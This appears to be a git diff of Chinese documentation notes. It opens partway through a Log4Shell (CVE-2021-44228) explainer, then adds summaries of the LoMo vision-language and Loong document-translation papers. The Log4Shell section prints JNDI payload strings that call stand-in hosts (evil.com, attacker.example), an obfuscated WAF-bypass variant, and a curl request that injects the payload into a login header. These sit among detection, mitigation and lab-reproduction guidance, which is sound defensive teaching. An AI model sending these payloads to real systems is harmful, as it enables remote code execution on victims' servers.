${jndi:ldap://evil.com:1389/Exploit} +2. 应用代码:logger.info("Request from {}", userAgent); // 用户输入进入日志 +3. Log4j:解析 ${jndi:...} → JndiLookup.lookup() +4. JVM:连接 evil.com LDAP,获取 Java 对象引用 +5. LDAP 响应指向 http://evil.com/Exploit.class +6. JVM 加载并实例化 Exploit → 攻击者代码在受害进程内执行 +``` + +本质是 **JNDI 注入** + **不受信任的远程类加载**;Log4Shell 的特殊性在于 **Log4j 使用面极广** 且 **用户输入极易进入日志**。 + +### 4. 攻击向量:任何「会被记下来」的输入 + +公开 PoC 与在野利用显示,payload 可出现在: + +- HTTP 头:`User-Agent`、`X-Api-Version`、`Referer`、`Authorization` +- URL 路径与查询参数 +- JSON/XML 请求体字段 +- 登录表单的 username(失败登录也会记录) +- 线程上下文 MDC(若应用把 Header 放进 MDC,见 CVE-2021-45046) + +攻击者还使用 **大小写混淆**(`${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://...}`)、**嵌套 Lookup** 等绕过简单 WAF。 + +### 5. 相关 CVE 时间线(Log4j「补丁马拉松」) + +| CVE | 问题 | 修复版本(Java 8+) | +|-----|------|---------------------| +| **CVE-2021-44228** | 消息中 JNDI Lookup → RCE | ≥ 2.15.0(后证明不足) | +| **CVE-2021-45046** | 2.15.0 在非默认 Pattern + MDC 下仍可 RCE | ≥ 2.16.0 | +| **CVE-2021-45105** | 自引用 Lookup → StackOverflow DoS | ≥ 2.17.0 | +| **CVE-2021-44832** | JDBC Appender 配置 JNDI 数据源 → RCE | ≥ 2.17.0(限制协议) | + +生产环境建议:**Java 8+ 使用 log4j-core ≥ 2.17.0**(或当前官方推荐最新版)。 + +## 漏洞代码路径(概念) + +Log4j 在格式化日志时会递归解析 `${...}`。简化逻辑如下(非完整源码,便于理解): + +```java +// 概念示意:PatternLayout / MessagePattern 处理消息 +public String replaceLookups(String message) { + // 若消息含 ${jndi:ldap://evil/a},会进入 lookup 解析 + while (message.contains("${")) { + message = StrSubstitutor.replace(message, lookupMap); + // lookupMap 包含 "jndi" -> JndiLookup 实例 + } + return message; +} +``` + +`JndiLookup` 核心行为(概念): + +```java +// org.apache.logging.log4j.core.lookup.JndiLookup(简化) +public String lookup(String key) { + // key 形如 "ldap://attacker.com/Exploit" + if (key.contains(":")) { + Context ctx = new InitialContext(); + Object obj = ctx.lookup(key); // 触发远程 LDAP/RMI + return obj == null ? null : obj.toString(); + } + return ctx.lookup("java:comp/env/" + key); +} +``` + +应用侧**一行普通日志**即可触发: + +```java +@RestController +public class LoginController { + private static final Logger log = LogManager.getLogger(LoginController.class); + + @PostMapping("/login") + public ResponseEntity login(@RequestHeader("User-Agent") String ua, + @RequestBody LoginForm form) { + // 开发者以为只是记审计日志 + log.warn("Failed login for user {} from UA {}", form.getUsername(), ua); + return ResponseEntity.status(401).build(); + } +} +``` + +攻击请求(curl 示例): + +```bash +curl -s -X POST 'https://victim.example/login' \ + -H 'Content-Type: application/json' \ + -H 'User-Agent: ${jndi:ldap://attacker.example:1389/a}' \ + -d '{"username":"admin","password":"wrong"}' +``` + +若服务端 Log4j 2.0-beta9–2.14.1 且未缓解,**401 响应返回之前** JVM 可能已 outbound 连接攻击者 LDAP。 + +## 检测与排查 + +### 依赖扫描 + +在项目中查找 `log4j-core` JAR 版本: + +```bash +# Maven +mvn dependency:tree | grep log4j-core + +# 或搜索 fat JAR / 部署目录 +find . -name 'log4j-core-*.jar' -exec unzip -p {} META-INF/MANIFEST.MF \; | head +``` + +确认 `org/apache/logging/log4j/core/lookup/JndiLookup.class` 是否存在: + +```bash +jar tf log4j-core-2.14.1.jar | grep JndiLookup +``` + +### 日志与网络 IOC + +- 应用/WAF 日志中出现 `${jndi:`、`${lower:`、`ldap://`、`rmi://` +- 受害主机对**异常外连 LDAP/RMI 端口**(常见 1389、1099)的 DNS/连接 +- 2021 年 12 月后威胁情报中的 Log4Shell 利用家族(如 Khonsari、Mirai 变种等) + +### 临时缓解(不能替代升级) + +官方 [CVE-2021-44228 缓解](https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44228) 包括: + +1. **升级** log4j-core 至安全版本(首选) +2. **删除 JndiLookup 类**(需重启): + +```bash +zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class +``` + +3. **2.10–2.14.1** 可设 `-Dlog4j2.formatMsgNoLookups=true` 或环境变量 `LOG4J_FORMAT_MSG_NO_LOOKUPS=true`(**2.15.0 后此属性无效**;且无法覆盖 CVE-2021-45046 等后续问题) +4. 配置 Pattern Layout 使用 `%m{nolookups}`(仅部分版本有效,见 CVE-2021-45046 说明) + +**Log4j 1.x**:无 Lookup,风险较低;但若配置使用 **JMSAppender** 等 JNDI 相关组件,见 CVE-2021-4104。Log4j 1 已 EOL,应迁移到 Log4j 2 安全版本。 + +## 防御纵深(2026 视角) + +Log4Shell 之后,行业实践通常包括: + +1. **依赖治理**:CI 中 SCA(Dependabot、Snyk、OWASP Dependency-Check),禁止带漏洞的 `log4j-core` 进入制品 +2. **SBOM**:CycloneDX / SPDX,Log4j 官方现提供 [VDR](https://logging.apache.org/cyclonedx/vdr.xml) 链接 +3. **最小权限**:运行 Java 服务的 OS 账户非 root;出站防火墙限制 LDAP/RMI 等非业务协议 +4. **输入与日志分离**:不把原始 Header 直接拼进日志格式串;MDC 中的用户数据要假设可被污染 +5. **WAF / RASP**:作为**补充层**,不能替代补丁(绕过变种多) + +Apache 现行 [威胁模型](https://logging.apache.org/log4j/2.x/security.html) 明确:**日志消息、MDC、参数 string 化结果均视为不可信输入**;配置与环境变量为可信源——部署者须防止未授权修改配置。 + +## 与同类漏洞的对比 + +| 维度 | Log4Shell | Heartbleed (2014) | Shellshock (2014) | +|------|-----------|-------------------|-------------------| +| 层次 | 应用库(Java) | TLS 库(OpenSSL) | Shell(bash) | +| 触发 | 写日志 | 恶意 TLS 心跳 | 环境变量 + 函数导出 | +| 认证 | 通常无需 | 无需 | 视场景 | +| 修复 | 升级 JAR | 升级 OpenSSL | 升级 bash | +| 供应链 | 传递依赖难盘点 | 系统库 | 系统默认 shell | + +与 [[lipp-meltdown-2018]]、[[spectre-attack-2018]] 等**硬件侧信道**不同,Log4Shell 是**纯软件、默认配置、网络可达**的 RCE,因此 CVSS 满分且利用门槛极低。 + +## 动手理解(安全实验环境) + +仅在**隔离 lab** 中复现(勿对未授权目标扫描): + +1. 部署含 Log4j 2.14.0 的 Java Web 演示(如 Spring Boot + log4j-core) +2. 用 [marshalsec](https://github.com/mbechler/marshalsec) 或类似工具起 LDAP 引用服务器 +3. 发送 `${jndi:ldap://:1389/...}` payload,抓包观察 outbound LDAP 与类加载 + +理解目标:**证明「日志字符串 → JNDI → 外连」**,而非学会武器化。 + +## 自测题 + +1. 为什么仅升级 `log4j-api` 不能修复 Log4Shell? +2. `${java:version}` 与 `${jndi:ldap://x/a}` 在 Lookup 解析上有何关键区别? +3. 说明 CVE-2021-44228 与 CVE-2021-45046 的关系;为何 2.15.0 一度被认为「已修复」仍不够? +4. 列举三种可能把攻击字符串送进 Log4j 的业务场景。 +5. `zip -d ... JndiLookup.class` 缓解的原理是什么?有何局限? + +## 延伸阅读 + +- [Apache Log4j 2.x Security — CVE-2021-44228](https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44228) +- [CISA Apache Log4j Vulnerability Guidance](https://www.cisa.gov/news-events/news/apache-log4j-vulnerability-guidance) +- [Cloudflare — Inside the Log4j2 vulnerability](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/) +- [LunaSec Log4Shell 检测与缓解指南](https://www.lunasec.io/docs/blog/log4j-zero-day/) +- 相关笔记:[[meltdown-attack-2018]](硬件泄漏)、[[spectre-attack-2018]](推测执行) + +## 小结 + +Log4Shell 的本质是:**把用户可控数据写进日志时,Log4j 2 的 JNDI Lookup 会替攻击者执行「查目录并加载远程对象」**。它震动的不仅是 Java 社区,而是整个**软件供应链可见性**——你永远不知道下一个「登记簿规则」藏在哪个传递依赖里。零基础记住三件事:**查 log4j-core 版本、优先升级到 2.17+、任何进日志的输入都当不可信**。 diff --git a/src/content/docs/papers/lomo-modality.md b/src/content/docs/papers/lomo-modality.md new file mode 100644 index 000000000..790da6bcf --- /dev/null +++ b/src/content/docs/papers/lomo-modality.md @@ -0,0 +1,328 @@ +--- +title: LoMo — 局部模态替换与更深的视觉-语言融合 +来源: https://arxiv.org/abs/2605.30265 +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:同一段话,换张「纸」就不认识了 + +想象你在参加一场**开卷考试**。题目写在试卷上,你也看得懂;监考老师把**同一道题**打印成一张小图片贴在你旁边——语义完全一样,只是**信息载体**从「文字」变成了「像素」。 + +理想的多模态 AI 应该像真正理解题意的人:**不管题目是打字还是截图,答案都一样**。但现实里的 Vision-Language Model(VLM)往往做不到:把文字问题渲染成图片后,准确率会**断崖式下跌**。论文把这种现象叫做 **Carrier Sensitivity(载体敏感性)**——模型不是在理解语义,而是在**依赖「信息装在哪种模态里」**。 + +更糟的是,这种脆弱性不是随机的。论文测量「纯文本 hidden state」与「渲染成图后的 hidden state」之间的余弦距离,发现:**距离越大,换载体后的性能掉得越狠**(最近一组平均掉 7.75%,最远一组掉 21.23%)。 + +根因被归结为**训练数据的结构性偏置**: + +| 常见数据集 | 文本的典型角色 | 图像的典型角色 | +|-----------|---------------|---------------| +| Image Caption | 描述目标(答案侧) | 被描述的场景 | +| VQA | 提问、指令 | 视觉证据 | +| OCR / 文档 | 问题或标签 | 文档页面 | +| 网页交错数据 | 导航、说明 | 插图、截图 | + +文本长期扮演「**语言查询**」,图像长期扮演「**视觉参考**」——模型学会了**按模态分工取信息**,却没有学会「**同一语义在不同载体上应对齐**」。 + +2026 年 5 月,复旦大学 / 上海创新研究院 / 京东等团队发布 **LoMo: Local Modality Substitution for Deeper Vision-Language Fusion**(arXiv:[2605.30265](https://arxiv.org/abs/2605.30265))。核心思路极其朴素:**不改模型结构,只在 SFT 数据里,把一段文字局部替换成它的渲染图**,逼模型在 `text → visual → text` 的交错序列里做真正的跨模态融合。 + +一句话:**LoMo 不是新架构,而是一份「数据侧处方」——用局部模态替换,把跨载体对齐写进标准 SFT 的监督信号里。** + +--- + +## 是什么 + +| 项目 | 内容 | +|------|------| +| 全称 | **Lo**cal **Mo**dality Substitution | +| 类型 | 数据策展(data curation)范式,架构无关 | +| 机构 | 复旦大学、上海创新研究院、上海交大、中科大、京东等 | +| 代码 / 模型 | [Maplebb/LoMo](https://github.com/Maplebb/LoMo)(checkpoint 已释出,数据构造代码待发布) | +| 项目页 | [maplebb.github.io/LoMo](https://maplebb.github.io/LoMo/page/) | +| 验证骨干 | LLaVA-OneVision-1.5-8B、Qwen3.5-9B | +| 评测 | 13 个多模态 benchmark(推理、数学、事实性、指令遵循、文档 OCR、视觉感知) | + +LoMo 的输入原本是**纯文本**的 `(问题 x, 答案 a)`;输出变成**图文交错**的 `(T(x), a)`,其中 `T(x) = (x_pre, I', x_suf)`,中间嵌入渲染图 `I'`,**监督目标 a 不变**。 + +--- + +## 为什么重要 + +### 1. 暴露了 VLM「假融合」的一面 + +很多 VLM 在标准 benchmark 上分数很高,但把问题文字截图喂进去就崩——说明融合停留在「**各读各的再拼接**」,而非「**语义级等价**」。这对 OCR、文档 QA、屏幕理解等「文字常以像素出现」的场景是致命伤。 + +### 2. 改数据比改结构更便宜 + +LoMo 声称: + +- **零推理开销**(训练后推理流程不变) +- **无需额外标注**(复用原有 SFT 答案) +- **即插即用**(任何多模态 SFT pipeline 都能接) + +在 LLaVA-OneVision-1.5-8B 上平均 **+2.68** 分,Qwen3.5-9B 上 **+2.82** 分(13 benchmark 均值);在 **Rendered Evaluation**(整题渲染成图)下增益放大到 **+18.86 / +11.92**——说明它确实在修「载体敏感」这个根问题。 + +### 3. 给「模态鸿沟」提供了可操作的度量 + +论文用两个内部指标交叉验证: + +- **MIR(Modality Integration Rate)**:各层 visual / text token 隐状态分布的 Fréchet 距离均值,**越低越好** +- **Pairwise Cross-Modal Distance**:同一语义下文本与渲染图的平均 hidden state 余弦距离 `d = 1 - cos(h̄_text, h̄_img)`,**越低越好** + +LoMo 训练后 MIR 额外降低 0.122,配对距离从 0.57 降到 0.49;Standard SFT 反而把配对距离从 0.52 **推远**到 0.57——常规 SFT 在强化「文本问、图像答」的分工,LoMo 在拉近等价载体。 + +--- + +## 核心概念 + +### 1. Carrier Sensitivity(载体敏感性) + +**定义**:语义内容不变,仅把承载方式从 token 换成 pixel(或反之),模型输出质量显著变化。 + +**诊断实验**:Rendered Evaluation——把整段文字问题渲染成一张图,与原 `(图像, 文字问题)` 对比。主流 VLM 在此协议下普遍大跌。 + +### 2. 三阶段流水线 T(x) + +LoMo 把变换算子分解为三步: + +```text +x ──S()──► (x_pre, x_mid, x_suf) # 结构感知选段 +x_mid ──R()──► 渲染图 I # 内容感知渲染 +I ──A()──► I' # 感知扰动 +T(x) = (x_pre, I', x_suf) # text → visual → text +``` + +| 阶段 | 符号 | 做什么 | +|------|------|--------| +| Structure-Aware Span Localization | S | 公式感知分块,取**中间 1/3** 作为 x_mid;短文本整段替换 | +| Visual Rendering | R | 含公式 → LaTeX 渲染器;纯文本 → 普通文本渲染;失败自动 fallback | +| Perceptual Distortion | A | 随机施加旋转、模糊、阴影/污渍、波浪形变,模拟扫描/拍照退化 | + +**为什么选中间段?** 消融显示 Middle(text-image-text)优于 Prefix/Suffix/Multi-Span:渲染块被**两侧文本夹住**,模型必须跨载体整合上下文才能答对——对齐从「可选优化」变成「**任务必要条件**」。 + +### 3. 隐式跨模态对齐监督 + +标准 SFT 优化 `-log p(a | x)`。LoMo 额外优化 `-log p(a | T(x))`。论文推导在期望意义下,多出来的项等价于拉近两个载体下预测分布的 **KL 散度**——**不用改 loss 公式,改数据形态就注入了 cross-carrier alignment 信号**。 + +### 4. 关键超参:Rewrite Ratio + +在 LLaVA-OneVision-1.5-8B 上,把**纯文本样本**中一定比例改写为 LoMo 交错样本: + +| Rewrite Ratio | 平均准确率 | Δ vs Standard SFT | +|---------------|-----------|-------------------| +| 0% | 40.88 | — | +| 25% | 42.90 | +2.02 | +| **50%** | **43.56** | **+2.68** | +| 75% | 43.24 | +2.36 | +| 100% | 42.68 | +1.80 | + +50% 左右最优——太少对齐信号不够,太多则纯文本能力被稀释。 + +### 5. 与相关路线的区别 + +| 路线 | 代表 | 目标 | +|------|------|------| +| Text-as-Pixels 效率派 | DeepSeek-OCR、Glyph | 用像素**压缩**上下文、省 token | +| 解码/偏好对齐 | VCD、HA-DPO | 推理或 RL 阶段减幻觉 | +| **LoMo** | 本篇 | 在**同一条训练样本**里让 text-token 与 text-pixel **语义对齐** | + +--- + +## 实验结果速览 + +### Standard Evaluation(常规:图 + 文字问题) + +- LLaVA-OV1.5-8B:**40.88 → 43.56**(+2.68) +- Qwen3.5-9B:**54.43 → 57.25**(+2.82) +- 涨幅集中在:指令遵循(MM-IFEval)、视觉感知(CountBench、V*)、文档 OCR(DocVQA) + +### Rendered Evaluation(问题也渲染成图) + +- LLaVA:**15.24 → 34.10**(+18.86) +- Qwen3.5:**43.26 → 55.18**(+11.92) +- Qwen3.5 上 Standard→Rendered 的性能落差:Standard SFT **-11.17**,LoMo 仅 **-2.07** + +### 组件消融(LLaVA-OV1.5-8B) + +| 变体 | 平均 | 说明 | +|------|------|------| +| Standard SFT | 40.88 | 基线 | +| Full-Text Rendering | 42.07 | 整题渲染,无选段/扰动,增益有限 | +| LoMo w/o PD | 43.10 | 去掉感知扰动仍 +2.22 | +| **LoMo 完整** | **43.56** | 选段是主因,扰动再 +0.46 | + +--- + +## 代码示例 + +### 示例 1:LoMo 数据变换的最小 Python 骨架 + +下面代码演示论文公式 (1)(2) 的逻辑:**选段 → 渲染 → 扰动 → 拼回交错序列**。渲染器用 Pillow 占位,生产环境应换 LaTeX / 专用文本渲染管线。 + +```python +from dataclasses import dataclass +from typing import Tuple +import random +from PIL import Image, ImageDraw, ImageFont, ImageFilter + +@dataclass +class LoMoSample: + prefix: str + image: Image.Image + suffix: str + answer: str + +def structure_aware_span_localization(text: str) -> Tuple[str, str, str]: + """S(·): 公式感知分块的简化版——按块取中间 1/3。""" + blocks = text.split("\n\n") if "\n\n" in text else [text] + if len(blocks) <= 2: + return "", text, "" + n = len(blocks) + start = n // 3 + end = max(start + 1, 2 * n // 3) + pre = "\n\n".join(blocks[:start]) + mid = "\n\n".join(blocks[start:end]) + suf = "\n\n".join(blocks[end:]) + return pre, mid, suf + +def render_text_span(span: str, width: int = 640, height: int = 128) -> Image.Image: + """R(·): 纯文本渲染;含 $...$ 或 \\frac 时应路由到 LaTeX 渲染器。""" + img = Image.new("RGB", (width, height), "white") + draw = ImageDraw.Draw(img) + font = ImageFont.load_default() + draw.text((10, 10), span[:500], fill="black", font=font) + return img.crop(img.getbbox()) # 裁掉空白边距 + +def perceptual_distortion(img: Image.Image) -> Image.Image: + """A(·): 随机施加一种语义保持的退化。""" + op = random.choice(["none", "blur", "rotate"]) + if op == "blur": + return img.filter(ImageFilter.GaussianBlur(radius=2)) + if op == "rotate": + return img.rotate(random.choice([5, -5, 15, -15]), expand=True, fillcolor="white") + return img + +def lomo_transform(question: str, answer: str) -> LoMoSample: + x_pre, x_mid, x_suf = structure_aware_span_localization(question) + rendered = render_text_span(x_mid) + distorted = perceptual_distortion(rendered) + return LoMoSample(prefix=x_pre, image=distorted, suffix=x_suf, answer=answer) + +# 用法 +raw_q = "Given the chart, compute the area.\n\nFormula: A = π r² with r = 3.\n\nAnswer in cm²." +sample = lomo_transform(raw_q, answer="28.27") +# 训练时构造: [x_pre tokens] + [image tokens] + [x_suf tokens] → 监督仍为 answer +print(sample.prefix, sample.suffix, sample.answer) +``` + +### 示例 2:构造 VLM 训练消息 + 评测「载体敏感」 + +用 Hugging Face 多模态消息格式,把 LoMo 样本喂给 LLaVA / Qwen 类模型;同时演示 **Rendered Evaluation** 探针。 + +```python +def to_training_messages(sample: LoMoSample, scene_image_path: str) -> list: + """交错样本:场景图 + 前缀文本 + 渲染块图 + 后缀文本。""" + content = [] + if scene_image_path: + content.append({"type": "image", "image": scene_image_path}) + if sample.prefix.strip(): + content.append({"type": "text", "text": sample.prefix.strip()}) + content.append({"type": "image", "image": sample.image}) # 局部替换的视觉载体 + if sample.suffix.strip(): + content.append({"type": "text", "text": sample.suffix.strip()}) + return [ + {"role": "user", "content": content}, + {"role": "assistant", "content": [{"type": "text", "text": sample.answer}]}, + ] + +def rendered_eval_probe(full_question: str, scene_image_path: str) -> list: + """Rendered Evaluation:整题渲染成一张图,测 carrier sensitivity。""" + q_img = render_text_span(full_question, width=800, height=400) + return [ + {"role": "user", "content": [ + {"type": "image", "image": scene_image_path}, + {"type": "image", "image": q_img}, # 文字问题变成像素 + ]}, + ] + +def pairwise_cross_modal_distance(h_text, h_img) -> float: + """论文 Eq.(7): 1 - cos(h̄_text, h̄_img),用于分析对齐程度。""" + import torch + h_text = h_text / h_text.norm() + h_img = h_img / h_img.norm() + return float(1 - torch.dot(h_text, h_img)) +``` + +训练时:**50% 左右的纯文本 SFT 样本**走 `lomo_transform`,其余保持原样;loss 仍是标准 next-token prediction,无需自定义对齐 loss。 + +--- + +## 实现要点与踩坑 + +1. **选段比整段渲染重要**:Full-Text Rendering 几乎只带来 +1.19,Middle 交错结构才是 +2.68 的主因。 +2. **LaTeX 路由不能省**:数学题走 LaTeX 渲染,失败要有 fallback,否则吞吐和数据质量双崩。 +3. **扰动模拟真实文档**:扫描倾斜、模糊、折痕——让模型对齐的是**语义**,不是「干净截图的字形」。 +4. **Rewrite Ratio 有饱和点**:50% 左右最佳;100% 反而掉分,纯文本推理能力受损。 +5. **增益不只是「多看了几张图」**:把 image:text 比例强行配平到 1:1,LoMo 仍 +2.45——关键在**交错跨载体**,不是样本计数。 + +--- + +## 局限与开放问题 + +- **数据构造代码尚未完全开源**(截至 2026-06,GitHub TODO 仍含 construction / training scripts)。 +- **渲染风格域**:字体、排版、语言(中文 vs 英文)变化可能带来新偏置。 +- **整题 Rendered Eval 仍非满分**:LoMo 大幅缓解但未消除载体敏感,说明对齐仍是长期课题。 +- **与 RL / DPO 的叠加效果**:论文聚焦 SFT 数据侧,与偏好优化、推理时干预如何组合尚待探索。 + +--- + +## 与本文库其他条目怎么读 + +- 先读 [Qwen2-VL](/papers/qwen2-vl-2024):理解现代 VLM 如何把图像 token 接进 LLM。 +- 再读 [Flash Attention](/papers/flash-attention):长文档 + 多图交错时,注意力算力是工程底座。 +- LoMo 补的是**训练数据几何**:同样 ViT–LLM 骨架,换 SFT 样本形态就能改变模态融合深度。 + +--- + +## 自测题 + +1. **Carrier Sensitivity** 和普通的 domain shift 有何不同? +2. 为什么 LoMo 选「中间 1/3」而不是开头或结尾? +3. Standard SFT 为何会把 pairwise cross-modal distance **越训越大**? +4. 若只有 10% 纯文本 SFT 数据,Rewrite Ratio 50% 意味着什么? +5. LoMo 与 DeepSeek-OCR 类「text-as-pixels 压缩」目标有何本质区别? + +
+参考答案(先自己想) + +1. Carrier Sensitivity 强调**语义等价**下仅换载体;domain shift 通常连语义分布都变。 +2. Middle 形成 text–image–text,模型必须融合两侧文本与中间视觉块才能恢复完整语义;Prefix/Suffix 允许「单模态猜答案」。 +3. 常规数据里文本负责 query、图像负责 evidence,SFT 可完成任务而**不必**对齐等价文本与渲染图;LoMo 把对齐变成答题必要条件。 +4. 约 5% 总样本被 LoMo 改写(10%×50%),其余 95% 保持原协议——实际比例需按「纯文本子集」而非全量算。 +5. OCR/压缩路线用像素**替代** token 省长度;LoMo 在同一样本里让两种载体**共存并对齐**,服务融合而非压缩。 + +
+ +--- + +## 引用 + +```bibtex +@article{han2026lomo, + title={LoMo: Local Modality Substitution for Deeper Vision-Language Fusion}, + author={Han, Feng and Zhang, Zhixiong and Liang, Zheming and Wang, Yibin and Wang, Jiaqi}, + journal={arXiv preprint arXiv:2605.30265}, + year={2026} +} +``` + +--- + +## 延伸阅读 + +- 论文 HTML:[arXiv:2605.30265v1](https://arxiv.org/html/2605.30265v1) +- 项目页:[maplebb.github.io/LoMo](https://maplebb.github.io/LoMo/page/) +- 代码 / Checkpoint:[github.com/Maplebb/LoMo](https://github.com/Maplebb/LoMo) +- MIR 指标原文:Huang et al., 2024(Modality Integration Rate) diff --git a/src/content/docs/papers/loong-doc-mt.md b/src/content/docs/papers/loong-doc-mt.md new file mode 100644 index 000000000..611dcf7b3 --- /dev/null +++ b/src/content/docs/papers/loong-doc-mt.md @@ -0,0 +1,374 @@ +--- +title: Loong — 类人长文档翻译 Agent 与自适应上下文选择 +来源: https://arxiv.org/abs/2605.30274 +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:专业译员翻长篇小说 + +想象你接到一本**五十万字的技术手册**或**古典小说**的翻译任务。你不会把整本书一次性塞进脑子里再动笔——那既记不住,也会被无关细节淹没。专业译员通常这样做: + +1. **分段推进**:每次翻译一小段(比如 5 句),翻完再写下一段。 +2. **三层笔记本**: + - **剧情摘要本**(Essence):每翻完一段,用几句话记下「这段讲了什么、文体如何」; + - **例句对照本**(Exemplar):把已翻好的中英(或德/法)句对存起来,遇到类似句式时参考; + - **术语卡**(Entity):「Korren → 科伦(中尉,不是上校)」「Borlatin Xiao → 博拉丁·肖上尉」——专名一旦定稿就不能漂移。 +3. **翻下一段前先「看再选」**(Observe-and-Act):从笔记本里**检索**候选条目,但**不会全塞进 prompt**——译员会判断:这段摘要跟当前句有关吗?那个例句的文体值得模仿吗?这条术语卡是否重复了? +4. **噪声会害人**:如果把所有历史摘要、所有例句、所有实体一股脑丢给模型,上下文窗口很快爆掉;更糟的是,无关信息会**干扰**当前句的翻译(论文称「冗余上下文降低质量」)。 + +**Loong**(龙)就是把这个「类人译员工作流」做成 LLM Agent:**3E 记忆模块**存历史、**Observe-and-Act 推理**筛上下文、**强化学习(DPO)**优化「该看什么、怎么用」,再配合**对齐强制翻译算法**保证源句与译句一一对应。 + +一句话:**长文档翻译的难点不是「有没有上下文」,而是「选什么上下文、怎么用」——Loong 学的是这个策略。** + +--- + +## 是什么 + +**Loong: A Human-Like Long Document Translation Agent with Observe-and-Act Adaptive Context Selection**(Wang 等,哈工大深圳 / 澳门大学 / 华为翻译中心,arXiv:[2605.30274](https://arxiv.org/abs/2605.30274))提出: + +1. **3E 记忆模块**:Essence(段摘要)+ Exemplar(双语句对)+ Entity(实体术语库),多粒度存储已翻译历史。 +2. **Observe-and-Act 自适应上下文选择**:三步推理——先选摘要、再选例句、再选实体——每步输出「思考 + 选中子集」,过滤冗余。 +3. **基于采样轨迹的偏好学习**:对每步动作并行采样 \(M\) 次、对翻译采样 \(N\) 次,用 COMET 等质量分构造 \((\text{preferred}, \text{dispreferred})\) 对,经 **SFT + DPO(LoRA)** 优化策略。 +4. **对齐强制推理**:递归二分切分未对齐的段,保证**句级对齐**,便于评测与记忆更新。 + +| 项目 | 内容 | +|------|------| +| 任务 | 文档级机器翻译(DocMT) | +| 语言对 | 英 ↔ 中、德、法(训练);评测含跨域、未见语言、超长《西游记》 | +| 骨干模型 | Qwen2.5-7B、Qwen3-8B/14B、Llama3.1-8B 等 | +| 开源 | [github.com/YutongWang1216/LoongDocMT](https://github.com/YutongWang1216/LoongDocMT) | +| 效果 | 三项指标平均最高约 **+13.0** 分;Llama3.1-8B 上 LLM-as-Judge 比 DelTA 高 **7.1** 分 | + +--- + +## 为什么重要 + +长文档翻译是 LLM 的「夹心困境」: + +| 困境 | 表现 | +|------|------| +| **窗口有限** | 整篇历史塞进 prompt → 超长文档直接失败(Doc2Doc 在《西游记》约 156–160 行处崩溃) | +| **冗余有害** | 有记忆但不筛选 → sCOMET 甚至不如逐句翻译(DelTA/Doc2Doc 在 Qwen3-8B 上低于 Sentence 基线) | +| **一致性难** | 专名漂移(Korren → Cole/Kolen/Korm)、职衔错误(中尉译成上校) | +| **对齐难** | Doc2Doc 生成句数与源句不对齐 → 文档级指标与记忆更新都不可靠 | + +Loong 把问题从「堆更多 token」转成「**学一个上下文策略**」,对 Agent、RAG、长上下文应用都有参考价值。 + +--- + +## 核心概念 + +### 1. 文档分段与 Doc2Doc 工作流 + +源文档切成 \(L\) 个段 \(\{s_1,\ldots,s_L\}\),每段默认 **5 句**。按序翻译:翻完 \(s_\tau\) 后更新 3E 记忆,再处理 \(s_{\tau+1}\)。属于 **Doc2Doc**(整段输出),但通过句级对齐算法兼顾 **Doc2Sent** 的评测友好性。 + +### 2. 3E 记忆模块(Human-like Translation Memory) + +| 组件 | 粒度 | 存什么 | 怎么检索 | +|------|------|--------|----------| +| **Essence** | 全局/语义 | 已完成段的 LLM 摘要 | 句向量余弦相似度,取 top-\(K_s\)(默认 4) | +| **Exemplar** | 模式/文体 | 全部历史源-译句对 | 同样 embedding 检索 top-\(K_x\)(默认 4) | +| **Entity** | 专名/术语 | \((e^{src}, e^{tgt}, \text{属性})\) 结构化记录 | 当前段出现的实体 + 上下文相关描述 | + +实体分 Character、Organization、Location、Event、Object、Other 六类,每类有不同属性字段(见论文附录 A.1)。翻译完一段后,Agent **抽取实体并更新知识库**。 + +### 3. Observe-and-Act 三步推理 + +候选上下文排成序列 \(\mathbf{E} = \langle \tilde{\mathcal{E}}_s, \tilde{\mathcal{E}}_x, \tilde{\mathcal{E}}_n \rangle\)。Agent 执行三步 \(\langle O_1,A_1,O_2,A_2,O_3,A_3 \rangle\): + +- **Observe \(O_k\)**:当前步的候选集合 + 之前步的历史推理; +- **Act \(A_k\)**:\(\langle r_k, \mathcal{C}_k \rangle\)——先写**推理链** \(r_k\) 分析相关性,再输出**选中子集** \(\mathcal{C}_k\)。 + +**为何分三步而不是一次选?** 联合搜索空间是 \(O(\prod 2^K)\),逐步分解为 \(O(\sum 2^K)\),且能对每种上下文类型做**细粒度消融**(论文 Table 3:去掉 Essence 伤害最大)。 + +### 4. 偏好数据构造(训练时) + +对每个 \(A_k\) **并行采样 \(M=7\) 次** → 每种选择再**采样 \(N=5\) 个翻译** → 用 \(\mu\)(sCOMET)算效用 \(U(A_k^i)\): + +- **上下文选择数据集 \(\mathcal{D}_{sel}\)**:同一步里效用最高/最低的动作为 preferred/dispreferred; +- **上下文利用数据集 \(\mathcal{D}_{util}\)**:同一选中上下文下,最好/最差翻译为 preferred/dispreferred。 + +最后 \(\mathcal{D} = \mathcal{D}_{sel} \cup \mathcal{D}_{util}\)。 + +### 5. SFT + DPO 两阶段微调 + +1. **SFT**:只用 preferred 样本,教会模型「能推理、能输出结构化结果」; +2. **DPO**(\(\beta=0.1\),LoRA rank=8):在完整偏好对上优化,相对 SFT checkpoint 拉大 preferred 与 dispreferred 的对数几率差。 + +论文称此为 RL 优化;实现上是 **offline preference optimization(DPO)**,而非在线 PPO。 + +### 6. 对齐强制翻译(Alignment-Enforced Inference) + +推理时每类上下文**只采样一次**选择,不做中间质量评估。生成时对段 \(u_{i:j}\) 注入句序号与分隔符;若输出句数与源句不对齐,**递归二分**切半重译,直到对齐或降到单句: + +\[ +T(u_{i:j}) = \begin{cases} +\text{LLM}(u_{i:j}), & \text{已对齐或 } i=j \\ +T(u_{i:k}) \oplus T(u_{k+1:j}), & \text{否则} +\end{cases} +\] + +### 7. 基线对比(你在读论文时会看到) + +| 基线 | 做法 | 弱点 | +|------|------|------| +| **Sentence** | 逐句翻译,无文档上下文 | 术语/文体不一致 | +| **Segment** | 分段翻译,不用跨段记忆 | 无长程依赖 | +| **Doc2Doc** | 对话历史堆全部已译段 | 窗口爆炸 + 噪声 | +| **DelTA** | 多粒度记忆 + 检索,**不过滤** | 冗余上下文干扰句级质量 | + 